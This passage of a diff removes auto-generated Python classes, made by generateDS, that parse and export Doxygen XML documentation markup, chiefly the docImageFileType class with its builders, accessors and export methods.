self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('name', node) - if value is not None and 'name' not in already_processed: - already_processed.add('name') - self.name = value - value = find_attr_value_('width', node) - if value is not None and 'width' not in already_processed: - already_processed.add('width') - self.width = value - value = find_attr_value_('height', node) - if value is not None and 'height' not in already_processed: - already_processed.add('height') - self.height = value - value = find_attr_value_('caption', node) - if value is not None and 'caption' not in already_processed: - already_processed.add('caption') - self.caption = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'ulink': - obj_ = docURLLink.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ulink', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ulink'): - self.add_ulink(obj_.value) - elif hasattr(self, 'set_ulink'): - self.set_ulink(obj_.value) - elif nodeName_ == 'bold': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'bold', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_bold'): - self.add_bold(obj_.value) - elif hasattr(self, 'set_bold'): - self.set_bold(obj_.value) - elif nodeName_ == 's': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 's', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_s'): - self.add_s(obj_.value) - elif hasattr(self, 'set_s'): - self.set_s(obj_.value) - elif nodeName_ == 'strike': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'strike', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_strike'): - self.add_strike(obj_.value) - elif hasattr(self, 'set_strike'): - self.set_strike(obj_.value) - elif nodeName_ == 'underline': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'underline', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_underline'): - self.add_underline(obj_.value) - elif hasattr(self, 'set_underline'): - self.set_underline(obj_.value) - elif nodeName_ == 'emphasis': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emphasis', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emphasis'): - self.add_emphasis(obj_.value) - elif hasattr(self, 'set_emphasis'): - self.set_emphasis(obj_.value) - elif nodeName_ == 'computeroutput': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'computeroutput', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_computeroutput'): - self.add_computeroutput(obj_.value) - elif hasattr(self, 'set_computeroutput'): - self.set_computeroutput(obj_.value) - elif nodeName_ == 'subscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'subscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_subscript'): - self.add_subscript(obj_.value) - elif hasattr(self, 'set_subscript'): - self.set_subscript(obj_.value) - elif nodeName_ == 'superscript': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'superscript', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_superscript'): - self.add_superscript(obj_.value) - elif hasattr(self, 'set_superscript'): - self.set_superscript(obj_.value) - elif nodeName_ == 'center': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'center', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_center'): - self.add_center(obj_.value) - elif hasattr(self, 'set_center'): - self.set_center(obj_.value) - elif nodeName_ == 'small': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'small', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_small'): - self.add_small(obj_.value) - elif hasattr(self, 'set_small'): - self.set_small(obj_.value) - elif nodeName_ == 'cite': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'cite', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_cite'): - self.add_cite(obj_.value) - elif hasattr(self, 'set_cite'): - self.set_cite(obj_.value) - elif nodeName_ == 'del': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'del', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_del'): - self.add_del(obj_.value) - elif hasattr(self, 'set_del'): - self.set_del(obj_.value) - elif nodeName_ == 'ins': - obj_ = docMarkupType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ins', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ins'): - self.add_ins(obj_.value) - elif hasattr(self, 'set_ins'): - self.set_ins(obj_.value) - elif nodeName_ == 'htmlonly': - obj_ = docHtmlOnlyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'htmlonly', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_htmlonly'): - self.add_htmlonly(obj_.value) - elif hasattr(self, 'set_htmlonly'): - self.set_htmlonly(obj_.value) - elif nodeName_ == 'manonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'manonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'manonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'manonly', valuestr_) - self.content_.append(obj_) - self.manonly_nsprefix_ = child_.prefix - elif nodeName_ == 'xmlonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'xmlonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'xmlonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'xmlonly', valuestr_) - self.content_.append(obj_) - self.xmlonly_nsprefix_ = child_.prefix - elif nodeName_ == 'rtfonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'rtfonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'rtfonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'rtfonly', valuestr_) - self.content_.append(obj_) - self.rtfonly_nsprefix_ = child_.prefix - elif nodeName_ == 'latexonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'latexonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'latexonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'latexonly', valuestr_) - self.content_.append(obj_) - self.latexonly_nsprefix_ = child_.prefix - elif nodeName_ == 'docbookonly' and child_.text is not None: - valuestr_ = child_.text - valuestr_ = self.gds_parse_string(valuestr_, node, 'docbookonly') - valuestr_ = self.gds_validate_string(valuestr_, node, 'docbookonly') - obj_ = self.mixedclass_(MixedContainer.CategorySimple, - MixedContainer.TypeString, 'docbookonly', valuestr_) - self.content_.append(obj_) - self.docbookonly_nsprefix_ = child_.prefix - elif nodeName_ == 'image': - obj_ = docImageType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'image', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_image'): - self.add_image(obj_.value) - elif hasattr(self, 'set_image'): - self.set_image(obj_.value) - elif nodeName_ == 'dot': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'dot', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_dot'): - self.add_dot(obj_.value) - elif hasattr(self, 'set_dot'): - self.set_dot(obj_.value) - elif nodeName_ == 'msc': - obj_ = docDotMscType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'msc', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_msc'): - self.add_msc(obj_.value) - elif hasattr(self, 'set_msc'): - self.set_msc(obj_.value) - elif nodeName_ == 'plantuml': - obj_ = docPlantumlType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'plantuml', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_plantuml'): - self.add_plantuml(obj_.value) - elif hasattr(self, 'set_plantuml'): - self.set_plantuml(obj_.value) - elif nodeName_ == 'anchor': - obj_ = docAnchorType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'anchor', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_anchor'): - self.add_anchor(obj_.value) - elif hasattr(self, 'set_anchor'): - self.set_anchor(obj_.value) - elif nodeName_ == 'formula': - obj_ = docFormulaType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'formula', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_formula'): - self.add_formula(obj_.value) - elif hasattr(self, 'set_formula'): - self.set_formula(obj_.value) - elif nodeName_ == 'ref': - obj_ = docRefTextType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'ref', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_ref'): - self.add_ref(obj_.value) - elif hasattr(self, 'set_ref'): - self.set_ref(obj_.value) - elif nodeName_ == 'emoji': - obj_ = docEmojiType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'emoji', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_emoji'): - self.add_emoji(obj_.value) - elif hasattr(self, 'set_emoji'): - self.set_emoji(obj_.value) - elif nodeName_ == 'linebreak': - obj_ = docEmptyType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - obj_ = self.mixedclass_(MixedContainer.CategoryComplex, - MixedContainer.TypeNone, 'linebreak', obj_) - self.content_.append(obj_) - if hasattr(self, 'add_linebreak'): - self.add_linebreak(obj_.value) - elif hasattr(self, 'set_linebreak'): - self.set_linebreak(obj_.value) - if not fromsubclass_ and child_.tail is not None: - obj_ = self.mixedclass_(MixedContainer.CategoryText, - MixedContainer.TypeNone, '', child_.tail) - self.content_.append(obj_) -# end class docDotMscType - - -class docImageFileType(GeneratedsSuper): - """The mentioned file will be located in the directory as specified by - XML_OUTPUT""" - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, name=None, width=None, height=None, ulink=None, bold=None, s=None, strike=None, underline=None, emphasis=None, computeroutput=None, subscript=None, superscript=None, center=None, small=None, cite=None, del_=None, ins=None, htmlonly=None, manonly=None, xmlonly=None, rtfonly=None, latexonly=None, docbookonly=None, image=None, dot=None, msc=None, plantuml=None, anchor=None, formula=None, ref=None, emoji=None, linebreak=None, valueOf_=None, mixedclass_=None, content_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.name = _cast(None, name) - self.name_nsprefix_ = None - self.width = _cast(None, width) - self.width_nsprefix_ = None - self.height = _cast(None, height) - self.height_nsprefix_ = None - if ulink is None: - self.ulink = [] - else: - self.ulink = ulink - self.ulink_nsprefix_ = None - if bold is None: - self.bold = [] - else: - self.bold = bold - self.bold_nsprefix_ = None - if s is None: - self.s = [] - else: - self.s = s - self.s_nsprefix_ = None - if strike is None: - self.strike = [] - else: - self.strike = strike - self.strike_nsprefix_ = None - if underline is None: - self.underline = [] - else: - self.underline = underline - self.underline_nsprefix_ = None - if emphasis is None: - self.emphasis = [] - else: - self.emphasis = emphasis - self.emphasis_nsprefix_ = None - if computeroutput is None: - self.computeroutput = [] - else: - self.computeroutput = computeroutput - self.computeroutput_nsprefix_ = None - if subscript is None: - self.subscript = [] - else: - self.subscript = subscript - self.subscript_nsprefix_ = None - if superscript is None: - self.superscript = [] - else: - self.superscript = superscript - self.superscript_nsprefix_ = None - if center is None: - self.center = [] - else: - self.center = center - self.center_nsprefix_ = None - if small is None: - self.small = [] - else: - self.small = small - self.small_nsprefix_ = None - if cite is None: - self.cite = [] - else: - self.cite = cite - self.cite_nsprefix_ = None - if del_ is None: - self.del_ = [] - else: - self.del_ = del_ - self.del__nsprefix_ = None - if ins is None: - self.ins = [] - else: - self.ins = ins - self.ins_nsprefix_ = None - if htmlonly is None: - self.htmlonly = [] - else: - self.htmlonly = htmlonly - self.htmlonly_nsprefix_ = None - if manonly is None: - self.manonly = [] - else: - self.manonly = manonly - self.manonly_nsprefix_ = None - if xmlonly is None: - self.xmlonly = [] - else: - self.xmlonly = xmlonly - self.xmlonly_nsprefix_ = None - if rtfonly is None: - self.rtfonly = [] - else: - self.rtfonly = rtfonly - self.rtfonly_nsprefix_ = None - if latexonly is None: - self.latexonly = [] - else: - self.latexonly = latexonly - self.latexonly_nsprefix_ = None - if docbookonly is None: - self.docbookonly = [] - else: - self.docbookonly = docbookonly - self.docbookonly_nsprefix_ = None - if image is None: - self.image = [] - else: - self.image = image - self.image_nsprefix_ = None - if dot is None: - self.dot = [] - else: - self.dot = dot - self.dot_nsprefix_ = None - if msc is None: - self.msc = [] - else: - self.msc = msc - self.msc_nsprefix_ = None - if plantuml is None: - self.plantuml = [] - else: - self.plantuml = plantuml - self.plantuml_nsprefix_ = None - if anchor is None: - self.anchor = [] - else: - self.anchor = anchor - self.anchor_nsprefix_ = None - if formula is None: - self.formula = [] - else: - self.formula = formula - self.formula_nsprefix_ = None - if ref is None: - self.ref = [] - else: - self.ref = ref - self.ref_nsprefix_ = None - if emoji is None: - self.emoji = [] - else: - self.emoji = emoji - self.emoji_nsprefix_ = None - if linebreak is None: - self.linebreak = [] - else: - self.linebreak = linebreak - self.linebreak_nsprefix_ = None - self.valueOf_ = valueOf_ - if mixedclass_ is None: - self.mixedclass_ = MixedContainer - else: - self.mixedclass_ = mixedclass_ - if content_ is None: - self.content_ = [] - else: - self.content_ = content_ - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, docImageFileType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if docImageFileType.subclass: - return docImageFileType.subclass(*args_, **kwargs_) - else: - return docImageFileType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_ulink(self): - return self.ulink - def set_ulink(self, ulink): - self.ulink = ulink - def add_ulink(self, value): - self.ulink.append(value) - def insert_ulink_at(self, index, value): - self.ulink.insert(index, value) - def replace_ulink_at(self, index, value): - self.ulink[index] = value - def get_bold(self): - return self.bold - def set_bold(self, bold): - self.bold = bold - def add_bold(self, value): - self.bold.append(value) - def insert_bold_at(self, index, value): - self.bold.insert(index, value) - def replace_bold_at(self, index, value): - self.bold[index] = value - def get_s(self): - return self.s - def set_s(self, s): - self.s = s - def add_s(self, value): - self.s.append(value) - def insert_s_at(self, index, value): - self.s.insert(index, value) - def replace_s_at(self, index, value): - self.s[index] = value - def get_strike(self): - return self.strike - def set_strike(self, strike): - self.strike = strike - def add_strike(self, value): - self.strike.append(value) - def insert_strike_at(self, index, value): - self.strike.insert(index, value) - def replace_strike_at(self, index, value): - self.strike[index] = value - def get_underline(self): - return self.underline - def set_underline(self, underline): - self.underline = underline - def add_underline(self, value): - self.underline.append(value) - def insert_underline_at(self, index, value): - self.underline.insert(index, value) - def replace_underline_at(self, index, value): - self.underline[index] = value - def get_emphasis(self): - return self.emphasis - def set_emphasis(self, emphasis): - self.emphasis = emphasis - def add_emphasis(self, value): - self.emphasis.append(value) - def insert_emphasis_at(self, index, value): - self.emphasis.insert(index, value) - def replace_emphasis_at(self, index, value): - self.emphasis[index] = value - def get_computeroutput(self): - return self.computeroutput - def set_computeroutput(self, computeroutput): - self.computeroutput = computeroutput - def add_computeroutput(self, value): - self.computeroutput.append(value) - def insert_computeroutput_at(self, index, value): - self.computeroutput.insert(index, value) - def replace_computeroutput_at(self, index, value): - self.computeroutput[index] = value - def get_subscript(self): - return self.subscript - def set_subscript(self, subscript): - self.subscript = subscript - def add_subscript(self, value): - self.subscript.append(value) - def insert_subscript_at(self, index, value): - self.subscript.insert(index, value) - def replace_subscript_at(self, index, value): - self.subscript[index] = value - def get_superscript(self): - return self.superscript - def set_superscript(self, superscript): - self.superscript = superscript - def add_superscript(self, value): - self.superscript.append(value) - def insert_superscript_at(self, index, value): - self.superscript.insert(index, value) - def replace_superscript_at(self, index, value): - self.superscript[index] = value - def get_center(self): - return self.center - def set_center(self, center): - self.center = center - def add_center(self, value): - self.center.append(value) - def insert_center_at(self, index, value): - self.center.insert(index, value) - def replace_center_at(self, index, value): - self.center[index] = value - def get_small(self): - return self.small - def set_small(self, small): - self.small = small - def add_small(self, value): - self.small.append(value) - def insert_small_at(self, index, value): - self.small.insert(index, value) - def replace_small_at(self, index, value): - self.small[index] = value - def get_cite(self): - return self.cite - def set_cite(self, cite): - self.cite = cite - def add_cite(self, value): - self.cite.append(value) - def insert_cite_at(self, index, value): - self.cite.insert(index, value) - def replace_cite_at(self, index, value): - self.cite[index] = value - def get_del(self): - return self.del_ - def set_del(self, del_): - self.del_ = del_ - def add_del(self, value): - self.del_.append(value) - def insert_del_at(self, index, value): - self.del_.insert(index, value) - def replace_del_at(self, index, value): - self.del_[index] = value - def get_ins(self): - return self.ins - def set_ins(self, ins): - self.ins = ins - def add_ins(self, value): - self.ins.append(value) - def insert_ins_at(self, index, value): - self.ins.insert(index, value) - def replace_ins_at(self, index, value): - self.ins[index] = value - def get_htmlonly(self): - return self.htmlonly - def set_htmlonly(self, htmlonly): - self.htmlonly = htmlonly - def add_htmlonly(self, value): - self.htmlonly.append(value) - def insert_htmlonly_at(self, index, value): - self.htmlonly.insert(index, value) - def replace_htmlonly_at(self, index, value): - self.htmlonly[index] = value - def get_manonly(self): - return self.manonly - def set_manonly(self, manonly): - self.manonly = manonly - def add_manonly(self, value): - self.manonly.append(value) - def insert_manonly_at(self, index, value): - self.manonly.insert(index, value) - def replace_manonly_at(self, index, value): - self.manonly[index] = value - def get_xmlonly(self): - return self.xmlonly - def set_xmlonly(self, xmlonly): - self.xmlonly = xmlonly - def add_xmlonly(self, value): - self.xmlonly.append(value) - def insert_xmlonly_at(self, index, value): - self.xmlonly.insert(index, value) - def replace_xmlonly_at(self, index, value): - self.xmlonly[index] = value - def get_rtfonly(self): - return self.rtfonly - def set_rtfonly(self, rtfonly): - self.rtfonly = rtfonly - def add_rtfonly(self, value): - self.rtfonly.append(value) - def insert_rtfonly_at(self, index, value): - self.rtfonly.insert(index, value) - def replace_rtfonly_at(self, index, value): - self.rtfonly[index] = value - def get_latexonly(self): - return self.latexonly - def set_latexonly(self, latexonly): - self.latexonly = latexonly - def add_latexonly(self, value): - self.latexonly.append(value) - def insert_latexonly_at(self, index, value): - self.latexonly.insert(index, value) - def replace_latexonly_at(self, index, value): - self.latexonly[index] = value - def get_docbookonly(self): - return self.docbookonly - def set_docbookonly(self, docbookonly): - self.docbookonly = docbookonly - def add_docbookonly(self, value): - self.docbookonly.append(value) - def insert_docbookonly_at(self, index, value): - self.docbookonly.insert(index, value) - def replace_docbookonly_at(self, index, value): - self.docbookonly[index] = value - def get_image(self): - return self.image - def set_image(self, image): - self.image = image - def add_image(self, value): - self.image.append(value) - def insert_image_at(self, index, value): - self.image.insert(index, value) - def replace_image_at(self, index, value): - self.image[index] = value - def get_dot(self): - return self.dot - def set_dot(self, dot): - self.dot = dot - def add_dot(self, value): - self.dot.append(value) - def insert_dot_at(self, index, value): - self.dot.insert(index, value) - def replace_dot_at(self, index, value): - self.dot[index] = value - def get_msc(self): - return self.msc - def set_msc(self, msc): - self.msc = msc - def add_msc(self, value): - self.msc.append(value) - def insert_msc_at(self, index, value): - self.msc.insert(index, value) - def replace_msc_at(self, index, value): - self.msc[index] = value - def get_plantuml(self): - return self.plantuml - def set_plantuml(self, plantuml): - self.plantuml = plantuml - def add_plantuml(self, value): - self.plantuml.append(value) - def insert_plantuml_at(self, index, value): - self.plantuml.insert(index, value) - def replace_plantuml_at(self, index, value): - self.plantuml[index] = value - def get_anchor(self): - return self.anchor - def set_anchor(self, anchor): - self.anchor = anchor - def add_anchor(self, value): - self.anchor.append(value) - def insert_anchor_at(self, index, value): - self.anchor.insert(index, value) - def replace_anchor_at(self, index, value): - self.anchor[index] = value - def get_formula(self): - return self.formula - def set_formula(self, formula): - self.formula = formula - def add_formula(self, value): - self.formula.append(value) - def insert_formula_at(self, index, value): - self.formula.insert(index, value) - def replace_formula_at(self, index, value): - self.formula[index] = value - def get_ref(self): - return self.ref - def set_ref(self, ref): - self.ref = ref - def add_ref(self, value): - self.ref.append(value) - def insert_ref_at(self, index, value): - self.ref.insert(index, value) - def replace_ref_at(self, index, value): - self.ref[index] = value - def get_emoji(self): - return self.emoji - def set_emoji(self, emoji): - self.emoji = emoji - def add_emoji(self, value): - self.emoji.append(value) - def insert_emoji_at(self, index, value): - self.emoji.insert(index, value) - def replace_emoji_at(self, index, value): - self.emoji[index] = value - def get_linebreak(self): - return self.linebreak - def set_linebreak(self, linebreak): - self.linebreak = linebreak - def add_linebreak(self, value): - self.linebreak.append(value) - def insert_linebreak_at(self, index, value): - self.linebreak.insert(index, value) - def replace_linebreak_at(self, index, value): - self.linebreak[index] = value - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_width(self): - return self.width - def set_width(self, width): - self.width = width - def get_height(self): - return self.height - def set_height(self, height): - self.height = height - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def hasContent_(self): - if ( - self.ulink or - self.bold or - self.s or - self.strike or - self.underline or - self.emphasis or - self.computeroutput or - self.subscript or - self.superscript or - self.center or - self.small or - self.cite or - self.del_ or - self.ins or - self.htmlonly or - self.manonly or - self.xmlonly or - self.rtfonly or - self.latexonly or - self.docbookonly or - self.image or - self.dot or - self.msc or - self.plantuml or - self.anchor or - self.formula or - self.ref or - self.emoji or - self.linebreak or - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) or - self.content_ - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docImageFileType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('docImageFileType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'docImageFileType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='docImageFileType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='docImageFileType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='docImageFileType'): - if self.name is not None and 'name' not in already_processed: - already_processed.add('name') - outfile.write(' name=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.name), input_name='name')), )) - if self.width is not None and 'width' not in already_processed: - already_processed.add('width') - outfile.write(' width=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.width), input_name='width')), )) - if self.height is not None and 'height' not in already_processed: - already_processed.add('height') - outfile.write(' height=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.height), input_name='height')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='docImageFileType', fromsubclass_=False, pretty_print=True): - if not fromsubclass_: - for item_ in self.content_: - item_.export(outfile, level, item_.name, namespaceprefix_, pretty_print=pretty_print) - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - for ulink_ in self.ulink: - namespaceprefix_ = self.ulink_nsprefix_ + ':' if (UseCapturedNS_ and self.ulink_nsprefix_) else '' - ulink_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ulink', pretty_print=pretty_print) - for bold_ in self.bold: - namespaceprefix_ = self.bold_nsprefix_ + ':' if (UseCapturedNS_ and self.bold_nsprefix_) else '' - bold_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='bold', pretty_print=pretty_print) - for s_ in self.s: - namespaceprefix_ = self.s_nsprefix_ + ':' if (UseCapturedNS_ and self.s_nsprefix_) else '' - s_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='s', pretty_print=pretty_print) - for strike_ in self.strike: - namespaceprefix_ = self.strike_nsprefix_ + ':' if (UseCapturedNS_ and self.strike_nsprefix_) else '' - strike_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='strike', pretty_print=pretty_print) - for underline_ in self.underline: - namespaceprefix_ = self.underline_nsprefix_ + ':' if (UseCapturedNS_ and self.underline_nsprefix_) else '' - underline_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='underline', pretty_print=pretty_print) - for emphasis_ in self.emphasis: - namespaceprefix_ = self.emphasis_nsprefix_ + ':' if (UseCapturedNS_ and self.emphasis_nsprefix_) else '' - emphasis_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='emphasis', pretty_print=pretty_print) - for computeroutput_ in self.computeroutput: - namespaceprefix_ = self.computeroutput_nsprefix_ + ':' if (UseCapturedNS_ and self.computeroutput_nsprefix_) else '' - computeroutput_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='computeroutput', pretty_print=pretty_print) - for subscript_ in self.subscript: - namespaceprefix_ = self.subscript_nsprefix_ + ':' if (UseCapturedNS_ and self.subscript_nsprefix_) else '' - subscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='subscript', pretty_print=pretty_print) - for superscript_ in self.superscript: - namespaceprefix_ = self.superscript_nsprefix_ + ':' if (UseCapturedNS_ and self.superscript_nsprefix_) else '' - superscript_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='superscript', pretty_print=pretty_print) - for center_ in self.center: - namespaceprefix_ = self.center_nsprefix_ + ':' if (UseCapturedNS_ and self.center_nsprefix_) else '' - center_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='center', pretty_print=pretty_print) - for small_ in self.small: - namespaceprefix_ = self.small_nsprefix_ + ':' if (UseCapturedNS_ and self.small_nsprefix_) else '' - small_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='small', pretty_print=pretty_print) - for cite_ in self.cite: - namespaceprefix_ = self.cite_nsprefix_ + ':' if (UseCapturedNS_ and self.cite_nsprefix_) else '' - cite_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='cite', pretty_print=pretty_print) - for del_ in self.del_: - namespaceprefix_ = self.del__nsprefix_ + ':' if (UseCapturedNS_ and self.del__nsprefix_) else '' - del_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='del', pretty_print=pretty_print) - for ins_ in self.ins: - namespaceprefix_ = self.ins_nsprefix_ + ':' if (UseCapturedNS_ and self.ins_nsprefix_) else '' - ins_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='ins', pretty_print=pretty_print) - for htmlonly_ in self.htmlonly: - namespaceprefix_ = self.htmlonly_nsprefix_ + ':' if (UseCapturedNS_ and self.htmlonly_nsprefix_) else '' - htmlonly_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='htmlonly', pretty_print=pretty_print) - for manonly_ in self.manonly: - namespaceprefix_ = self.manonly_nsprefix_ + ':' if (UseCapturedNS_ and self.manonly_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%smanonly>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(manonly_), input_name='manonly')), namespaceprefix_ , eol_)) - for xmlonly_ in self.xmlonly: - 